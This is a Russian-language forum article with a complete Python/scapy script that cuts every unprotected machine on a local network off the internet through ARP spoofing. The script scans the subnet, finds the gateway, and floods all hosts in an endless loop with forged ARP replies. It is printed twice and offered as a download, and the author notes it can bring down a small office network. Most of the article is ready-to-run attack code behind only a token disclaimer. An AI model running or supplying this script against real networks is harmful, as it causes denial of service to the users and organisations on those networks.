Статья Отключение от интернета машин в локальной сети с помощью Python

Какое-то время назад я экспериментировал с ARP-спуфингом и обнаружил побочный эффект, который, в общем-то не является секретным, а вполне закономерным, если забыть включить на атакующей машине ip-форвардинг. На атакуемой машине пропадает сеть. Тогда я на это не обратил внимания, но совсем недавно наткнулся на любопытный скрипт, который отключает интернет в локальной сети именно с помощью ARP-спуфинга. Тогда я и вспомнил, что наблюдал это ранее. Давайте попробуем реализовать простой скрипт для воспроизведения этого эффекта с помощью Python.

net.jpg


Дисклеймер: Все данные, предоставленные в данной статье, взяты из открытых источников, не призывают к действию и являются только лишь данными для ознакомления, и изучения механизмов используемых технологий.

В данном случае мы сделаем лишь заготовку, которую нужно будет, при необходимости доработать до чего-то, более менее рабочего. Тем не менее, даже эта заготовка способна хотя бы на несколько минут положить сеть в небольшой организации, особенно, если на компьютерах не установлена защита.


Что будет делать скрипт?

Обнаруживать компьютеры в сети, забирать их ip-адреса и делать по адресам рассылку. А после, когда машины отвалятся от сети, автоматически будет включатся широковещательный режим. И в этом случае, сети не будет ни у одной машины без защиты, за исключением вашей.


Что потребуется?
Для работы данного скрипта необходимо установить scapy.
Так как данный скрипт работает с правами суперпользователя, то и устанавливать его необходимо с использованием sudo.
Сделать это можно командой в терминале:

sudo pip install --pre scapy[basic]

Наверное, как вы уже поняли, потребуется так же машина под управлением ОС Linux. И хоть данный скрипт будет работать в Windows, если вы установите npcap , выполнять свои функции он не будет.
После того, как вы установите scapy, импортируйте в скрипт библиотеки, которые понадобятся в его работе:

Python:
import sys
from platform import system
from socket import socket, AF_INET, SOCK_DGRAM, gethostbyname
from subprocess import check_output
import os

import scapy.all as sc

На самом деле, здесь не используются какие-то другие методы или способы, которые бы не использовались мною ранее в других статьях. Я просто попытался воспроизвести эффект отключения сети на машинах в ней.


Получаем локальный IP-адрес

Для получения локального ip-адреса создадим фунцию local_ipv4(). Данный код был взят на Stack Overflow и работает на отлично. Функция возвращает локальный ip-адрес. IP будет нужен для того, чтобы создать на его основе диапазон для сканирования, то есть CIDR, вида: 192.168.0.1/24.

Python:
def local_ipv4():
    """
    Получаем локальный ip-адрес.
    :return: Локальный ip-адрес. В случае неудачи - адрес локальной петли.
    """
    st = socket(AF_INET, SOCK_DGRAM)
    try:
        st.connect(('10.255.255.255', 1))
        ip = st.getsockname()[0]
    except Exception:
        ip = '127.0.0.1'
    finally:
        st.close()
    return ip

По большому счету, маску необходимо было бы вычислять на основании полученной маски подсети. Но, в данном случае мы будем считать, что все более-менее стандартно и маска подсети имеет вид: 255.255.255.0.


Получение IP-адреса шлюза по умолчанию

Создадим функцию router(), с помощью которой будем получать ip-адрес шлюза по умолчанию как в ОС Linux, так и в Windows, в зависимости от того, на машине под управлением какой ОС она запущена.

Для начала определяем операционную систему с помощью platform.system(). Здесь все имеет немного сокращенную запись, так как system() импортируется напрямую. Затем, с помощью subprocess.check_output выполняем команду для получения записей маршрутизации route. Синтаксис данной команды примерно одинаков как в Linux, так и в Windows, за исключением того, что вывод будет парситься по другому.

Далее парсим результат выполнения команды и возвращаем из функции ip-адрес шлюза по умолчанию.

Python:
def router():
    """
    Получаем ip-адрес шлюза по умолчанию.
    :return: Возвращаем ip-адрес.
    """
    ip_route = None
    if system() == "Linux":
        ip_route = str(check_output('route -n | grep UG', shell=True).decode()).split()[1]
    elif system() == "Windows":
        com = 'route PRINT 0* -4 | findstr 0.0.0.0'.split()
        interface_temp = check_output(com, shell=True).decode('cp866')
        ip_route = interface_temp.split()[-3]

    if ip_route.isdigit():
        return ip_route
    else:
        sock = gethostbyname(ip_route)
        return sock

Если же адрес шлюза мы получаем в виде сетевого имени, то делаем попытку получить адрес с помощью gethostbyname.
IP-адрес шлюза по умолчанию нам понадобиться для того, чтобы сообщать машине поддельный mac-адрес по данному адресу.


Получаем ip-адреса машин в сети

По большому счету, для того, чтобы выполнить спуфинг, нам mac-адреса не нужны. А нужны только ip-адреса машин в сети.
Ну и, также, если получиться получить mac-адрес шлюза, то, он тоже понадобиться.
Создадим функцию get_ip_mac_nework(ip, gateway), которая получает CIDR и адрес шлюза по умолчанию.

Выполняем широковещательную рассылку в сети с помощью scapy. В ответ нам должны вернуть ip-адреса и mac-адреса машин. Проверяем, не равен ли полученный адрес адресу шлюза.
Если да, забираем из него mac-адрес и записываем в переменную. Все остальные адреса помещаем в список и возвращаем из функции кортеж, в котором будет находиться список с ip-адресами и mac-адрес шлюза.

Python:
def get_ip_mac_nework(ip, gateway):
    """
    Сканируем сеть. Получаем ip и mac-адреса машин в сети.
    :param ip: CIDR, ip-адрес с подсетью.
    :param gateway: IP-адрес шлюза.
    :return: Список с ip-адресами, кроме ip-адреса шлюза; mac-адрес шлюза.
    """
    answered_list = sc.srp(sc.Ether(dst='ff:ff:ff:ff:ff:ff') / sc.ARP(pdst=ip), timeout=1, verbose=False)[0]
    clients_list = []
    gateway_mac = "127.0.0.1"
    for element in answered_list:
        if element[1].psrc == gateway:
            gateway_mac = element[1].hwsrc
            continue
        clients_list.append(element[1].psrc)
    return clients_list, gateway_mac


Выполняем подмену шлюза в сети для всех найденных машин

Создадим функцию arp_spoof(packets, packet_true), которая на входе получает два списка. Первый, это список пакетов для атаки. Второй список также содержит пакеты, но уже для восстановления нормального mac-адреса шлюза.

Выводим сообщение о начале атаки. Запускаем бесконечный цикл и перебираем адреса для атаки из списка, на которые отправляем пакеты. Если мы прервем скрипт, то выполниться часть кода, которая написана в обработке исключения. На каждую машину в сети будет отправлен пакет с нормальным mac-адресом шлюза.

Python:
def arp_spoof(packets, packet_true):
    """
    Выполнение подмены mac-адреса шлюза по умолчанию.
    :param packets: Список с пакетами для подмены.
    :param packet_true: Список с пакетами для восстановления.
    """
    print("\n[~] Beginning of attack...")
    try:
        while True:
            for packet in packets:
                sc.send(packet, verbose=False)
    except KeyboardInterrupt:
        for packet in packet_true:
            sc.send(packet, verbose=False)
        print("\r[-] Attack complete. Good by!")

Когда у машин в сети отвалиться соединение, они перестанут быть доступны для пакетов. В этом случае scapy автоматически перейдет на широковещательную рассылку. По большому счету восстанавливать адрес шлюза в принципе не обязательно. ARP-таблица на атакуемых машинах будет обновлена автоматически.


Функция main. Запуск скрипта

Создадим функцию main. Для начала проверим, на какой операционной системе он запущен. Если это Linux, проверяем, запущен ли он от суперпользователя. Если это не так, выходим из скрипта и сообщаем пользователю, что скрипт надо перезапустить. Если же все в порядке, получаем локальный IP-адрес, получаем IP-адрес шлюза. Выполняем функцию для получения IP-адресов машин в сети, а также для получения mac-адреса шлюза. Проверяем, найдены ли какие-либо машины. Если да, двигаемся дальше.

Скажу сразу, что у меня не получилось подменить mac-адрес шлюза на моем смартфоне. Но, оно и понятно, он для соединения со шлюзом использует Wi-Fi.
Выводим информацию для пользователя о полученных IP-адресах. Формируем пакеты для атаки и восстановления и передаем их в функцию для выполнения атаки.

Python:
def main():
    if system() == 'Linux':
        if not os.getuid() == 0:
            print('\n[+] Запустите скрипт с правами суперпользователя!\n')
            sys.exit(0)
    local_ip = local_ipv4()
    gateway = router()
    ip_mac_network, gateway_mac = get_ip_mac_nework(f'{".".join(local_ip.split(".")[:-1])}.1/24', gateway)
    if ip_mac_network:
        print(f'\n[+] Local IP: {local_ip}\n[+] Local Gateway: {gateway}\n[+] Local Gateway Mac: {gateway_mac}')
        packets = []
        packet_true = []
        for ip in ip_mac_network:
            packets.append(sc.ARP(op=2, pdst=ip, hwdst="ff:ff:ff:ff:ff:ff", psrc=gateway))
            packet_true.append(sc.ARP(op=2, pdst=ip, hwdst=gateway_mac, psrc=gateway))
        arp_spoof(packets, packet_true)
    else:
        print("Машин в сети не обнаружено")


if __name__ == "__main__":
    main()

Вот, в принципе и все. К сожалению, протестировать скрипт в настоящей локальной сети у меня не представляется возможным, за отсутствием таковой. Но вот тестовые машины создать вполне реально.
Поэтому, я сделал две виртуалки с ОС Windows, которые смотрят в мою сеть. Запустил скрипт и… а вот, что получилось, вы можете увидеть в видео, которое расположено ниже.


Python:
# pip install --pre scapy[basic]

import sys
from platform import system
from socket import socket, AF_INET, SOCK_DGRAM, gethostbyname
from subprocess import check_output
import os

import scapy.all as sc


def local_ipv4():
    """
    Получаем локальный ip-адрес.
    :return: Локальный ip-адрес. В случае неудачи - адрес локальной петли.
    """
    st = socket(AF_INET, SOCK_DGRAM)
    try:
        st.connect(('10.255.255.255', 1))
        ip = st.getsockname()[0]
    except Exception:
        ip = '127.0.0.1'
    finally:
        st.close()
    return ip


def router():
    """
    Получаем ip-адрес шлюза по умолчанию.
    :return: Возвращаем ip-адрес.
    """
    ip_route = None
    if system() == "Linux":
        ip_route = str(check_output('route -n | grep UG', shell=True).decode()).split()[1]
    elif system() == "Windows":
        com = 'route PRINT 0* -4 | findstr 0.0.0.0'.split()
        interface_temp = check_output(com, shell=True).decode('cp866')
        ip_route = interface_temp.split()[-3]

    if ip_route.isdigit():
        return ip_route
    else:
        sock = gethostbyname(ip_route)
        return sock


def get_ip_mac_nework(ip, gateway):
    """
    Сканируем сеть. Получаем ip и mac-адреса машин в сети.
    :param ip: CIDR, ip-адрес с подсетью.
    :param gateway: IP-адрес шлюза.
    :return: Список с ip-адресами, кроме ip-адреса шлюза; mac-адрес шлюза.
    """
    answered_list = sc.srp(sc.Ether(dst='ff:ff:ff:ff:ff:ff') / sc.ARP(pdst=ip), timeout=1, verbose=False)[0]
    clients_list = []
    gateway_mac = "127.0.0.1"
    for element in answered_list:
        if element[1].psrc == gateway:
            gateway_mac = element[1].hwsrc
            continue
        clients_list.append(element[1].psrc)
    return clients_list, gateway_mac


def arp_spoof(packets, packet_true):
    """
    Выполнение подмены mac-адреса шлюза по умолчанию.
    :param packets: Список с пакетами для подмены.
    :param packet_true: Список с пакетами для восстановления.
    """
    print("\n[~] Beginning of attack...")
    try:
        while True:
            for packet in packets:
                sc.send(packet, verbose=False)
    except KeyboardInterrupt:
        for packet in packet_true:
            sc.send(packet, verbose=False)
        print("\r[-] Attack complete. Good by!")


def main():
    if system() == 'Linux':
        if not os.getuid() == 0:
            print('\n[+] Запустите скрипт с правами суперпользователя!\n')
            sys.exit(0)
    local_ip = local_ipv4()
    gateway = router()
    ip_mac_network, gateway_mac = get_ip_mac_nework(f'{".".join(local_ip.split(".")[:-1])}.1/24', gateway)
    if ip_mac_network:
        print(f'\n[+] Local IP: {local_ip}\n[+] Local Gateway: {gateway}\n[+] Local Gateway Mac: {gateway_mac}')
        packets = []
        packet_true = []
        for ip in ip_mac_network:
            packets.append(sc.ARP(op=2, pdst=ip, hwdst="ff:ff:ff:ff:ff:ff", psrc=gateway))
            packet_true.append(sc.ARP(op=2, pdst=ip, hwdst=gateway_mac, psrc=gateway))
        arp_spoof(packets, packet_true)
    else:
        print("Машин в сети не обнаружено")


if __name__ == "__main__":
    main()


А на этом, пожалуй, все.

Спасибо за внимание. Надеюсь, данная информация будет вам полезна
 

Вложения

  • spoof.py.zip
    1,5 КБ · Просмотры: 74
Последнее редактирование:
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!